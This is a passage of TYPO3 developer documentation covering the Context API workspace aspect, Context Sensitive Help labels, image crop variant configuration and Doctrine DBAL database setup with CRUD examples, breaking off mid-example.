<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use TYPO3\CMS\Core\Context\Context;

final class MyController
{
    public function __construct(
        private readonly Context $context,
    ) {}

    public function doSomething(): void
    {
        $showHiddenPages = $this->context->getPropertyFromAspect(
            'visibility',
            'includeHiddenPages'
        );

        // ... do something with $showHiddenPages
    }
}
Copied!

Workspace aspect

The aspect contains information about the currently accessed workspace.

The workspace aspect, \TYPO3\CMS\Core\Context\WorkspaceAspect , accepts the following properties:

id

id
Call
$this->context->getPropertyFromAspect('workspace', 'id');

Returns the UID of the currently accessed workspace, as integer.

isLive

isLive
Call

$this->context->getPropertyFromAspect('workspace', 'isLive');

Returns whether the current workspace is live, or a custom offline workspace, as boolean.

isOffline

isOffline
Call

$this->context->getPropertyFromAspect('workspace', 'isOffline');

Returns, whether the current workspace is offline, as boolean.

Example

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use TYPO3\CMS\Core\Context\Context;

final class MyController
{
    public function __construct(
        private readonly Context $context,
    ) {}

    public function doSomething(): void
    {
        $showHiddenPages = $this->context->getPropertyFromAspect(
            'workspace',
            'id'
        );

        // ... do something with $showHiddenPages
    }
}
Copied!

Context Sensitive Help (CSH)

TYPO3 offers a full API for adding Context Sensitive Help to backend modules and - especially - to all database tables and fields. CSH then appears either as a help icon in the docheader (for modules) or as a popup on field labels when editing database records. The text is meant to help the user understand what the module does or what the database field means.

CSH for the "Title" field

Viewing the context sensitive help of the "Title" field of the "pages" table

When hovering over a help icon or a field label with CSH, the cursor transforms into a question mark. Clicking on the element triggers the appearance of the popup window.

If the CSH contains more information, the bubble help displays a small icon after the text (as in the screenshot above). Clicking on that icon opens a popup window with lengthier explanations, possible enriched with images.

Popup help window

Popup help window for the "Subtitle" field of the "pages" table

Clicking on the "Back" icon at the top of the popup window leads to a table of contents of all the available CSH.

Popup help window with TOC

Popup help window with the table of contents of all available help topics

The $TCA_DESCR Array

The global array $TCA_DESCR is reserved to contain CSH labels. CSH labels are loaded as they are needed. Thus the class rendering the form will make an API call to the global language object to have the CSH labels loaded - if any - for the relevant table.

Basically, the $TCA_DESCR array contains references to the registered language files. As it gets used, it is filled with the actual labels. This task is performed by method \TYPO3\CMS\Core\Localization\LanguageService::loadSingleTableDescription().

The content of the $TCA_DESCR array can be reviewed in the System > Configuration module:

Content of the $TCA\_DESCR array

List of file references for the CSH labels of the "pages" table

As can be seen, several files can be registered for the same table. This makes it possible to:

  • override existing CSH labels (e.g. for providing more dedicated help)
  • extending existing labels
  • add CSH labels for fields added by the extension

Keys in $TCA_DESCR

Each file is registered with $TCA_DESCR using a key. For a database table, this is simple the table name. For backend modules you can use the following syntax:

_MOD_[main module]_[module name]
Copied!

For the Web > Info module, the key is:

_MOD_web_info
Copied!

The loaded labels will be available in $TCA_DESCR[(key)]['columns'].

The Language Files for CSH

The files used for storing CSH data are standard language files, in XLIFF format and stored in an extension's Resources/Private/Language/ folder.

The files are typically named locallang_csh_(key).xlf, where "key" is either the table name or the module key.

This is an extract of a typical file (typo3/sysext/lang/locallang_csh_pages.xlf):

<?xml version="1.0" encoding="UTF-8"?>
<xliff version="1.0" xmlns:t3="http://typo3.org/schemas/xliff">
   <file t3:id="1415814856" source-language="en" datatype="plaintext" original="messages" date="2011-10-17T20:22:33Z" product-name="lang">
      <header/>
      <body>
         <trans-unit id=".description">
            <source>A 'Page' record usually represents a webpage in TYPO3. All pages have an ID number (UID) by which they can be linked and referenced. The 'Page' record itself does not contain the content of the page. 'Page Content' records (Content Elements) are used for this.</source>
         </trans-unit>
         <trans-unit id=".details" xml:space="preserve">
            <source>The 'pages' table is the backbone of TYPO3. All records editable by the main modules in TYPO3 must belong to a page. It's exactly like files and folders on your computer's hard drive.

&lt;b&gt;The Page Tree&lt;/b&gt;
The pages are organized in a tree structure that reflects the organization of your website.

&lt;b&gt;UID, PID and the page tree root&lt;/b&gt;
All database elements have a field 'uid' which is a unique identification number. They also have a field 'pid' (page id) which holds the ID number of the page to which they belong. If the 'pid' field is zero, the record is found in the 'root.' Only administrators are allowed access to the root. Table records must be configured to either belong to a page or be found in the root.

&lt;b&gt;Storage of Database Records&lt;/b&gt;
Depending on the 'Type', a page may also represent general storage for database elements in TYPO3. In this case, it is not available as a webpage but is used internally in the page tree as a place to store items such as users, subscriptions, etc. Such pages are typically of the type "Folder".</source>
         </trans-unit>
         <trans-unit id="_.seeAlso" xml:space="preserve">
            <source>xMOD_csh_corebe:pagetree,
tt_content,
About pages | https://docs.typo3.org/typo3cms/GettingStartedTutorial/GeneralPrinciples/PageTree/</source>
            <note from="developer">A part of this string is an internal text, which must not be changed. Just copy this part into the translation field and do not change it. For more information have a look at the Tutorial.</note>
         </trans-unit>
         <trans-unit id="_.image" xml:space="preserve">
            <source>EXT:core/Resources/Public/Images/cshimages/pages_1.png,
EXT:core/Resources/Public/Images/cshimages/pages_2.png,</source>
            <note from="developer">This string contains an internal text, which must not be changed. Just copy the original text into the translation field. For more information have a look at the Tutorial.</note>
         </trans-unit>
         <trans-unit id=".image_descr" xml:space="preserve">
            <source>The most basic fields on a page are the 'Disable Page' option, the 'Type' of page ("doktype") and the 'Page Title'.
Pages are arranged in a page tree in TYPO3. The page from the editing form in the previous screenshot was the "Intro" page from this page tree. As you can see it belongs in the root of the page tree and has a number of subpages pages under it.</source>
         </trans-unit>
         <trans-unit id="title.description">
            <source>Enter the title of the page or folder. This field is required.</source>
         </trans-unit>
         <trans-unit id="title.details" xml:space="preserve">
            <source>The 'Page Title' is used to represent the page visually in the system, for example in the page tree. Also the 'Page Title' is used by default for navigation links on webpages.
You can always change the 'Page Title' without affecting links to a page. This is because pages are always referenced by ID number, not their title.
You can use any characters in the 'Page Title'.</source>
         </trans-unit>
         <trans-unit id="_title.image">
            <source>EXT:core/Resources/Public/Images/cshimages/pages_3.png</source>
            <note from="developer">This string contains an internal text, which must not be changed. Just copy the original text into the translation field. For more information have a look at the Tutorial.</note>
         </trans-unit>
         <trans-unit id="title.image_descr">
            <source>The field for the 'Page Title' has a small "Required" icon next to it; You must supply a 'Page Title'. You cannot save the new page unless you enter a title for it.</source>
         </trans-unit>
         // ...
      </body>
   </file>
</xliff>
Copied!

As you can see, the names of the keys inside the language file (the "id" attribute) follow strict conventions. Each key is divided into two parts, separated by a dot (.). For a database table, the first part is the name of the field (for a backend module, an arbitrary but significant string). The second part is a so-called "type key". The list of type keys and their syntax is described below.

The first part of the key may be absent (as in the first entries in the above example). This represents a general help text. This text is never displayed directly as inline help, but appears in the popup window when a user accesses the full CSH for a given table or module (by selecting it from the CSH table of contents).

Syntax for Type Keys

description

A short description of the table field or module feature. This is the text that appears in the help tool tip.

May contained escaped HTML.

details

A longer text detailing the table field or module feature. This text does not appear in the help tool tip but in the full popup window.

May contained escaped HTML.

syntax

Similar to details, but meaning to explicit the syntax to use in the given field.

May contained escaped HTML.

alttitle

Alternative title shown in CSH pop-up window.

For database tables and fields the title from TCA is fetched by default, however overridden by this value if it is not blank.

For modules you must specify this value, otherwise you will see the bare module key.

image

Reference to an image (gif,png,jpg) which will be shown below the "details" and "syntax" field (but before "seeAlso").

The reference must use the "EXT:" syntax.

You can supply a comma-separated list of image references in order to show more than one image.

image_descr
A description displayed below the image. If several images were referenced, the "image_descr" value will be split on linebreaks and shown under each image.
seeAlso

Internal hyperlink system for related elements. References to other $TCA_DESCR elements or URLs.

Syntax:

  • Separate references by comma (,) or line breaks.
  • A reference can be:

    • either a URL (identified by the 'second part' being prefixed "http", see below)
    • or a [table]:[field] pair
  • If the reference is an external URL, then the reference is split on the pipe character (|). The first part is the link label, while the second part is a fully qualified URL.
  • If the reference is to another internal $TCA_DESCR element, the reference is split on the colon (:). The first part is the table while the second is the field.

External URLs will open in a blank window. Internal references will open in the same window.

For internal references the permission for table/field read access will be checked and if it fails, the reference will not be shown.

Example:

pages:starttime , pages:endtime , tt\_content:header , Link to TYPO3.org \| https://typo3.org/
Copied!

Extending an Existing Label

It is also possible to extend an existing label. Here is an extract from typo3/sysext/core/Resources/Private/Language/locallang_csh_pages.xlf:

<trans-unit id="title.description.+">
   <source>This is normally shown in the website navigation.</source>
</trans-unit>
Copied!

This file also targets the "pages" table. The key title.description.+ (note the trailing + sign) means that this label will be added to the existing description for the "title" field.

Thus extensions can enhance existing labels for their special purpose while retaining the original CSH content.

Implementing CSH

For new Tables and Fields

Create a language file following the explanations given in this chapter and register it in your extension's ext_tables.php file:

\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addLLrefForTCAdescr(
	'tx_domain_model_foo',
	'EXT:myext/Resources/Private/Language/locallang_csh_tx_domain_model_foo.xlf'
);
Copied!

The rest of the work is automatically handled by the TYPO3 form engine.

Adding CSH for Fields Added to Existing Tables

Create a language file in your extension using the name of the table that you are extending. Inside the file, place labels only for the fields that you have added. Register the file as usual, but for the table that you are extending:

\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addLLrefForTCAdescr(
	'pages',
	'EXT:myext/Resources/Private/Language/locallang_csh_pages.xlf'
);
Copied!

The example assumes that you are extending the "pages" table.

For Modules

Implementing CSH for your backend module requires a bit more work, because you don't have the form engine doing everything for you.

The start of the process is the same: create your language file and register it.

The main method that renders a help button is \TYPO3\CMS\Backend\Utility\BackendUtility::cshItem(). This renders the question mark icon and the necessary markup for the JavaScript that takes care of the tool tip display. To make the markup into a button some wrapping must be added around it:

<span class="btn btn-sm btn-default">(CSH markup)</span>
Copied!

For adding a help button in the menu bar, the following code can be used in the controller:

/**
 * Registers the Icons into the docheader
 *
 * @return void
 * @throws \InvalidArgumentException
 */
protected function registerDocHeaderButtons()
{
    /** @var ButtonBar $buttonBar */
    $buttonBar = $this->view->getModuleTemplate()->getDocHeaderComponent()->getButtonBar();

    // CSH
    $cshButton = $buttonBar->makeHelpButton()
        ->setModuleName('xMOD_csh_corebe')
        ->setFieldName('filelist_module');
    $buttonBar->addButton($cshButton);
}
Copied!

This code is taken from class \TYPO3\CMS\Filelist\Controller\FileListController and takes care about adding the help button on the right-hand side of the module's docheader. The argument passed to setModuleName() is the key with which the CSH file was registered, the one passe to setFieldName is whatever field name is used in the file.

To place a help button at some arbitrary location in your module, you can rely on a Fluid view helper (which - again - needs some wrapping to create a true button):

<span class="btn btn-sm btn-default">
	<f:be.buttons.csh table="xMOD_csh_corebe" field="filelist_module" />
</span>
Copied!

This example uses the same arguments as above.

General Configuration

The following examples are meant to add one single cropping configuration to sys_file_reference, which will then apply to every record referencing images.

In this example we configure two crop variants, one with the id "mobile", one with the id "desktop". The array key defines the crop variant id, which will be used when rendering an image with the image view helper.

For each crop variant there's at least one ratio configuration defined as allowedAspectRatios:

  • its key must not contain the dot character (.):

    • good examples: NaN, 4:3 or other-format
    • bad example: 1:1.441
  • its value is an array consisting of two keys:

    • title: should be a string (or even better: a LLL reference)
    • value: should be a float (not a string!)
'config' => [
     'type' => 'imageManipulation',
     'cropVariants' => [
         'mobile' => [
             'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.mobile',
             'allowedAspectRatios' => [
                 '4:3' => [
                     'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_wizards.xlf:imwizard.ratio.4_3',
                     'value' => 4 / 3
                 ],
                 'NaN' => [
                     'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_wizards.xlf:imwizard.ratio.free',
                     'value' => 0.0
                 ],
             ],
         ],
         'desktop' => [
             'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.desktop',
             'allowedAspectRatios' => [
                 '4:3' => [
                     'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_wizards.xlf:imwizard.ratio.4_3',
                     'value' => 4 / 3
                 ],
                 'NaN' => [
                     'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_wizards.xlf:imwizard.ratio.free',
                     'value' => 0.0
                 ],
             ],
         ],
     ]
]
Copied!

Crop Area

It is also possible to define an initial crop area. If no initial crop area is defined, the default selected crop area will cover the complete image. Crop areas are defined relatively with floating point numbers. The x and y coordinates and width and height must be specified for that. The below example has an initial crop area in the size the previous image cropper provided by default.

'config' => [
    'type' => 'imageManipulation',
    'cropVariants' => [
        'mobile' => [
            'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.mobile',
            'cropArea' => [
                'x' => 0.1,
                'y' => 0.1,
                'width' => 0.8,
                'height' => 0.8,
            ],
        ],
    ],
]
Copied!

Focus Area

Users can also select a focus area, when configured. The focus area is always inside the crop area and marks the area of the image which must be visible for the image to transport its meaning. The selected area is persisted to the database but will have no effect on image processing. The data points are however made available as data attribute when using the <f:image /> view helper and can be used by Javascript libraries.

The below example adds a focus area, which is initially one third of the size of the image and centered.

'config' => [
    'type' => 'imageManipulation',
    'cropVariants' => [
        'mobile' => [
            'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.mobile',
            'focusArea' => [
                'x' => 1 / 3,
                'y' => 1 / 3,
                'width' => 1 / 3,
                'height' => 1 / 3,
            ],
        ],
    ],
]
Copied!

Cover Area

Images are often used in a context where they are overlaid with other DOM elements like a headline. To give editors a hint which area of the image is affected, when selecting a crop area, it is possible to define multiple so-called cover areas. These areas are shown inside the crop area. The focus area cannot intersect with any of the cover areas.

'config' => [
    'type' => 'imageManipulation',
    'cropVariants' => [
        'mobile' => [
            'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.mobile',
            'coverAreas' => [
                [
                    'x' => 0.05,
                    'y' => 0.85,
                    'width' => 0.9,
                    'height' => 0.1,
                ]
            ],
        ],
    ],
]
Copied!

Rendering crop variants

To render specific crop variants, the variant can be specified as argument of the image view helper:

<f:image image="{data.image}" cropVariant="mobile" width="800" />
Copied!

Crop variants configuration per content element

It is possible to provide a configuration per content element. If you want a different cropping configuration for tt_content images, then you can add the following to your image field configuration of tt_content records:

'config' => [
    'overrideChildTca' => [
        'columns' => [
            'crop' => [
                'config' => [
                    'cropVariants' => [
                        'mobile' => [
                            'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.mobile',
                            'cropArea' => [
                                'x' => 0.1,
                                'y' => 0.1,
                                'width' => 0.8,
                                'height' => 0.8,
                            ],
                        ],
                    ],
                ],
            ],
        ],
    ],
]
Copied!

Please note, you need to specify the target column name as array key. Most of the time this will be crop as this is the default field name for image manipulation in sys_file_reference

It is also possible to set the cropping configuration only for a specific tt_content element type by using the columnsOverrides feature:

$GLOBALS['TCA']['tt_content']['types']['textmedia']['columnsOverrides']['assets']['config']['overrideChildTca']['columns']['crop']['config'] = [
    'cropVariants' => [
       'default' => [
           'disabled' => true,
       ],
       'mobile' => [
           'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.mobile',
           'cropArea' => [
               'x' => 0.1,
               'y' => 0.1,
               'width' => 0.8,
               'height' => 0.8,
           ],
           'allowedAspectRatios' => [
               '4:3' => [
                   'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_wizards.xlf:imwizard.ratio.4_3',
                   'value' => 4 / 3
               ],
               'NaN' => [
                   'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_wizards.xlf:imwizard.ratio.free',
                   'value' => 0.0
               ],
           ],
       ],
    ],
];
Copied!

Disable crop variants

Please note, as the array for overrideChildTca is merged with the child TCA, so are the crop variants that are defined in the child TCA (most likely sys_file_reference). Because you cannot remove crop variants easily, it is possible to disable them for certain field types by setting the array key for a crop variant disabled to the value true as you can see in the example above for the default variant.

Introduction

TYPO3 relies on storing its data in a relational database management system (RDBMS). The Doctrine DBAL component is used to enable connecting to different database management systems. Most used is still MySQL / MariaDB, but thanks to Doctrine others like PostgreSQL and SQLServer are also an option.

The corresponding DBMS can be selected during installation.

This chapter gives an overview of the basic TYPO3 database table structure, followed by some information on upgrading and maintaining table and field consistency, and then deep dives into the programming API.

Doctrine DBAL

Database queries in TYPO3 are done with an API based on Doctrine DBAL. The API is provided by the system extension core, which is always loaded and thus always available.

Extension authors can use this low-level API to manage query operations directly on the configured DBMS.

Doctrine DBAL is rich in features. Drivers for various target systems enable TYPO3 to run on a long list of ANSI SQL-compatible DBMSes. If used properly, queries created with this API are translated to the specific database engine by Doctrine without an extension developer taking care of that specifically.

The API provided by the Core is basically a pretty small and lightweight facade in front of Doctrine DBAL that adds some convenient methods as well as some TYPO3-specific sugar. The facade additionally provides methods to retrieve specific connection objects per configured database connection based on the table that is queried. This enables instance administrators to configure different database engines for different tables, while being transparent to extension developers.

This document does not outline every single method that the API provides. It sticks to those that are commonly used in extensions, and some parts like the rewritten schema migrator are omitted as they are usually of little to no interest to extensions.

Understanding Doctrine DBAL and Doctrine ORM

Doctrine is a two-part project, with Doctrine DBAL being the low-level database abstraction and the interface for building queries to specific database engines, while Doctrine ORM is a high-level object relational mapping on top of Doctrine DBAL.

The TYPO3 Core implements - only - the DBAL part. Doctrine ORM is neither required nor implemented nor used.

Low-level and high-level database calls

This documentation focuses on low-level database calls. In many cases, it is better to use higher level APIs such as the DataHandler or Extbase repositories and to let the framework handle persistence details internally.

Credits

Implementing the Doctrine DBAL API into TYPO3 has been a huge project in 2016. Special thanks goes to awesome Mr. Morton Jonuschat for the initial design, integration and support and to more than 40 different people who actively contributed to migrate more than 1700 calls from TYPO3_DB-style to Doctrine within half a year. This was a huge community achievement, thanks everyone involved!

Configuration

The configuration of Doctrine DBAL for TYPO3 is about specifying the single database endpoints and passing the connection credentials. The framework supports the parallel usage of multiple database connections, a specific connection is mapped depending on its table name. The table space can be seen as a transparent layer that determines which specific connection is chosen for a query to a single or a group of tables: It allows "swapping out" single tables from the Default connection to point them to a different database endpoint.

As with other central configuration options, the database endpoint and mapping configuration is done in typo3conf/LocalConfiguration.php and ends up in $GLOBALS['TYPO3_CONF_VARS'] after the Core bootstrap. The specific sub-array is $GLOBALS['TYPO3_CONF_VARS']['DB'] .

Example: one connection

A typical basic example using only the Default connection with a single database endpoint:

typo3conf/LocalConfiguration.php
// [...]
'DB' => [
    'Connections' => [
        'Default' => [
            'charset' => 'utf8',
            'dbname' => 'theDatabaseName',
            'driver' => 'mysqli',
            'host' => 'theHost',
            'password' => 'theConnectionPassword',
            'port' => 3306,
            'user' => 'theUser',
        ],
    ],
],
// [...]
Copied!

Remarks:

  • The Default connection must be configured, this can not be left out or renamed.
  • For the mysqli driver: If the host is set to localhost and if the default PHP options in this area are not changed, the connection will be socket-based. This saves a little overhead. To force a TCP/IP-based connection even for localhost, the IPv4 address 127.0.0.1 or IPv6 address ::1/128 respectively must be used as host value.
  • The connection options are passed to Doctrine DBAL without much manipulation from TYPO3 side. Please refer to the doctrine connection docs for a full overview of the settings.
  • If the charset option is not specified, it defaults to utf8.
  • The option wrapperClass is used by TYPO3 to insert the extended Connection class \TYPO3\CMS\Core\Database\Connection as main facade around Doctrine DBAL.

Example: two connections

Another example with two connections, where the be_sessions table is mapped to a different endpoint:

typo3conf/LocalConfiguration.php
// [...]
'DB' => [
    'Connections' => [
        'Default' => [
            'charset' => 'utf8',
            'dbname' => 'default_dbname',
            'driver' => 'mysqli',
            'host' => 'default_host',
            'password' => '***',
            'port' => 3306,
            'user' => 'default_user',
        ],
        'Sessions' => [
            'charset' => 'utf8mb4',
            'driver' => 'mysqli',
            'dbname' => 'sessions_dbname',
            'host' => 'sessions_host',
            'password' => '***',
            'port' => 3306,
            'user' => 'some_user',
        ],
    ],
    'TableMapping' => [
        'be_sessions' => 'Sessions',
    ]
],
// [...]
Copied!

Remarks:

  • The array key Sessions is just a name. It can be different, but it is good practice to give it a useful, descriptive name.
  • It is possible to map multiple tables to a different endpoint by adding further table name / connection name pairs to TableMapping.
  • However, this "connection per table" approach is limited: In the above example, if a join query is executed that spans different connections, an exception will be thrown. It is up to the administrator to group the affected tables to the same connection in those cases, or a developer should implement fallback logic to suppress the join().

Database structure

Types of tables

The database tables used by TYPO3 can be roughly divided into two categories:

Internal tables

Tables that are used internally by the system and are invisible to backend users (for example, be_sessions, sys_registry, cache-related tables). In the Core extension, there are often dedicated PHP APIs for managing entries in these tables, for instance, the caching framework API.

Managed tables

Tables that can be managed via the TYPO3 backend are shown in the Web > List module and can be edited using the FormEngine.

Requirements

There are certain requirements for such managed tables:

  • The table must be configured in the global TCA array, for example:

    • table name
    • features that are required
    • fields of the table and how they should be rendered in the backend
    • relations to other tables

    and so on.

  • The table must contain at least these fields:

    • uid - an auto-incremented integer and primary key for the table, containing the unique ID of the record in the table.
    • pid - an integer pointing to the uid of the page (record from pages table) to which the record belongs.

    The fields are created automatically when the table is associated with a TCA configuration.

Typical fields

  • A title field holding the title of the record as seen in the backend.
  • A description field holding a description displayed in the Web > List view.
  • A crdate field holding the creation time of the record.
  • A tstamp field holding the last modification time of the record.
  • A sorting field holding an order when records are sorted manually.
  • A deleted field which tells TYPO3 that the record is deleted (actually implementing a "soft delete" feature; records with a deleted field are not truly deleted from the database).
  • A hidden or disabled field for records which exist but should not be used (for example, disabled backend users, content not visible in the frontend).

The "pages" table

The pages table has a special status: It is the backbone of TYPO3, as it provides the hierarchical page structure into which all other records managed by TYPO3 are placed. All other managed tables in TYPO3 have a pid field that points to a uid record in this table. Thus, each managed table record in TYPO3 is always placed on exactly one page in the page tree. This makes the pages table the mother of all other managed tables. It can be seen as a directory tree with all other table records as files.

Standard pages are literally website pages in the frontend. But they can also be storage spaces in the backend, similar to folders on a hard disk. For each record, the pid field contains a reference to the page where that record is stored. For pages, the pid fields behaves as a reference to their parent pages.

The special "root" page has some unique properties: its pid is 0 (zero), it does not exist as a row in the pages table, only users with administrative rights can access records on it, and these records must be explicitly configured to reside in the root page - usually, table records can only be created on a real page.

MM relations

When tables are connected via a many-to-many relationship, another table must store these relations. Examples are the table storing relations between categories and categorized records ( sys_category_record_mm) or the table storing relations between files and their various usages in pages, content elements, etc. ( sys_file_reference). The latter is an interesting example, because it actually appears in the backend, although only as part of inline records.

Other tables

The internal tables which are not managed through the TYPO3 backend serve various purposes. Some of the most common are:

  • Cache: If a cache is defined to use the database as a cache backend, TYPO3 automatically creates and manages the relevant cache tables.
  • System information: There are tables that store information about sessions, both frontend and backend ( fe_sessions and be_sessions respectively), a table for a central registry ( sys_registry) and some others.

All these tables are not subject to the uid/ pid constraint mentioned above, but they may have such fields if it is convenient for some reason.

There is no way to manage such tables through the TYPO3 backend, unless a specific module provides some form of access to them. For example, the System > Log module provides an interface for browsing records from the sys_log table.

Upgrade table and field definitions

Each extension in TYPO3 can provide the ext_tables.sql file that defines which tables and fields the extension needs. Gathering all ext_tables.sql files thus defines the complete set of tables, fields and indexes of a TYPO3 instance to unfold its full functionality. The Analyze Database Structure section in the Admin Tools > Maintenance backend module can compare the defined set with the current active database schema and shows options to align these two by adding fields, removing fields and so on.

When you upgrade to newer versions of TYPO3 or upgrade an extension, the data definition of tables and fields may have changed. The database structure analyzer detects such changes.

When you install a new extension, any change to the database is performed automatically. When upgrading to a new major version of TYPO3, you should normally go through the upgrade wizard, whose first step is to perform all necessary database changes:

The Upgrade Wizard indicating that the database needs updates

If you want to perform minor updates, update extensions or generally check the functionality of your system, you can go to Admin Tools > Maintenance > Analyze Database Structure:

The Database analyzer is part of the maintenance area

This tool collects the information from all ext_tables.sql files of all active extensions and compares them with the current database structure. Then it proposes to perform the necessary changes, grouped by type:

  • creating new tables
  • adding new fields to existing tables
  • altering existing fields
  • dropping unused tables and fields

You can choose which updates you want to perform. You can even decide not to create new fields and tables, although that will very likely break your installation.

Analyze the database structure

The ext_tables.sql files

As mentioned above, all data definition statements are stored in files named ext_tables.sql, which may exist in any extension.

The peculiarity is that these files may not always contain a complete and valid SQL data definition. For example, the "dashboard" system extension defines a new table for storing dashboards:

EXT:dashboard/ext_tables.sql
CREATE TABLE be_dashboards (
    identifier varchar(120) DEFAULT '' NOT NULL,
    title varchar(120) DEFAULT '' NOT NULL,
    widgets text
);
Copied!

This is a complete and valid SQL data definition. However, the community extension "news" extends the tt_content table with additional fields. It also provides these changes in the form of a SQL CREATE TABLE statement:

EXT:news/ext_tables.sql
CREATE TABLE tt_content (
    tx_news_related_news int(11) DEFAULT '0' NOT NULL,
    KEY index_newscontent (tx_news_related_news)
);
Copied!

The classes which take care of assembling the complete SQL data definition will compile all the CREATE TABLE statements for a given table and turn them into a single CREATE TABLE statement. If the table already exists, missing fields are isolated and ALTER TABLE statements are proposed instead.

This means that as an extension developer you should always only have CREATE TABLE statements in your ext_tables.sql files, the system will handle them as needed.

Basic create, read, update, and delete operations (CRUD)

This section provides a list of basic usage examples of the query API. This is just a starting point. Details about the single methods can be found in the following chapters, especially QueryBuilder and Connection.

All examples use dependency injection to provide the ConnectionPool in the classes.

Insert a row

A direct insert into a table:

EXT:my_extension/Classes/Domain/Repository/MyInsertRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyInsertRepository
{
    private ConnectionPool $connectionPool;

    public function __construct(ConnectionPool $connectionPool)
    {
        $this->connectionPool = $connectionPool;
    }

    public function insertSomeData(): void
    {
        $this->connectionPool
            ->getConnectionForTable('tt_content')
            ->insert(
                'tt_content',
                [
                    'pid' => 42,
                    'bodytext' => 'ipsum',
                ]
            );
    }
}
Copied!

This results in the following SQL statement:

INSERT INTO `tt_content` (`pid`, `bodytext`)
    VALUES ('42', 'ipsum')
Copied!

Select a single row

Fetching a single row directly from the tt_content table:

EXT:my_extension/Classes/Domain/Repository/MySelectRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MySelectRepository
{
    private ConnectionPool $connectionPool;

    public function __construct(ConnectionPool $connectionPool)
    {
        $this->connectionPool = $connectionPool;
    }

    /**
     * @return array|false
     */
    public function selectSomeData()
    {
        $uid = 4;

        return $this->connectionPool
            ->getConnectionForTable('tt_content')
            ->select(
                ['uid', 'pid', 'bodytext'], // fields to select
                'tt_content',               // from
                ['uid' => $uid]             // where
            )
            ->fetchAssociative();
    }
}
Copied!

Result in $row:

array(3 items)
   uid => 4 (integer)
   pid => 35 (integer)
   bodytext => 'some content' (12 chars)
Copied!

The engine encloses field names in quotes, adds default TCA restrictions such as deleted=0, and prepares a query to be executed with this final statement:

SELECT `uid`, `pid`, `bodytext`
    FROM `tt_content`
    WHERE (`uid` = '4')
        AND ((`tt_content`.`deleted` = 0)
        AND (`tt_content`.`hidden` = 0)
        AND (`tt_content`.`starttime` <= 1669838885)
        AND ((`tt_content`.`endtime` = 0) OR (`tt_content`.`endtime` > 1669838885)))
Copied!

Select multiple rows with some "where" magic

Advanced query using the QueryBuilder and manipulating the default restrictions:

EXT:my_extension/Classes/Domain/Repository/MyQueryBuilderSelectRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\Connection;
use TYPO3\CMS\Core\Database\ConnectionPool;
use TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyQueryBuilderSelectRepository
{
    private ConnectionPool $connectionPool;

    public function __construct(ConnectionPool $connectionPool)
    {
        $this->connectionPool = $connectionPool;
    }

    public function selectSomeData(): array
    {
        $uid = 4;

        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable('tt_content');

        // Remove all default restrictions (delete, hidden, starttime, stoptime),
        // but add DeletedRestriction again
        $queryBuilder->getRestrictions()
            ->removeAll()
            ->add(GeneralUtility::makeInstance(DeletedRestriction::class));

        // Execute a query with "bodytext=lorem OR uid=4" and proper quoting
        return $queryBuilder
            ->select('uid', 'pid', 'bodytext')
            ->from('tt_content')
            ->where(
                $queryBuilder->expr()->or(
                    $queryBuilder->expr()->eq(
                        'bodytext',
                        $queryBuilder->createNamedParameter('lorem')
                    ),
                    $queryBuilder->expr()->eq(
                        'uid',
                        $queryBuilder->createNamedParameter($uid, Connection::PARAM_INT)
                    )
                )
            )
            ->executeQuery()
            ->fetchAllAssociative();
    }
}
Copied!

Result in $rows:

array(2 items)
    0 => array(3 items)
        uid => 4 (integer)
        pid => 35 (integer)
        bodytext => 'ipsum' (5 chars)
    1 => array(3 items)
        uid => 366 (integer)
        pid => 13 (integer)
        bodytext => 'lorem' (5 chars)
Copied!

The executed query looks like this:

SELECT `uid`, `pid`, `bodytext`
    FROM `tt_content`
    WHERE ((`bodytext` = 'lorem') OR (`uid` = 4))
        AND (`tt_content`.`deleted` = 0)
Copied!

Update multiple rows

EXT:my_extension/Classes/Domain/Repository/MyUpdateRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyUpdateRepository
{
    private ConnectionPool $connectionPool;

    public function __construct(ConnectionPool $connectionPool)
    {
        $this->connectionPool = $connectionPool;
    }

    public function updateSomeData()
    {
        $this->connectionPool->getConnectionForTable('tt_content')
            ->update(
                'tt_content',
                [ 'bodytext' => 'ipsum' ], // set
                [ 'bodytext' => 'lorem' ]  // where
            );
    }
}
Copied!

The executed query looks like this:

UPDATE `tt_content` SET `bodytext` = 'ipsum'
    WHERE `bodytext` = 'lorem'
Copied!

Delete a row

EXT:my_extension/Classes/Domain/Repository/MyDeleteRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyDeleteRepository
{
    private ConnectionPool $connectionPool;

    public function __construct(ConnectionPool $connectionPool)
    {
        $this->connectionPool = $connectionPool;
    }

    public function deleteSomeData()
    {
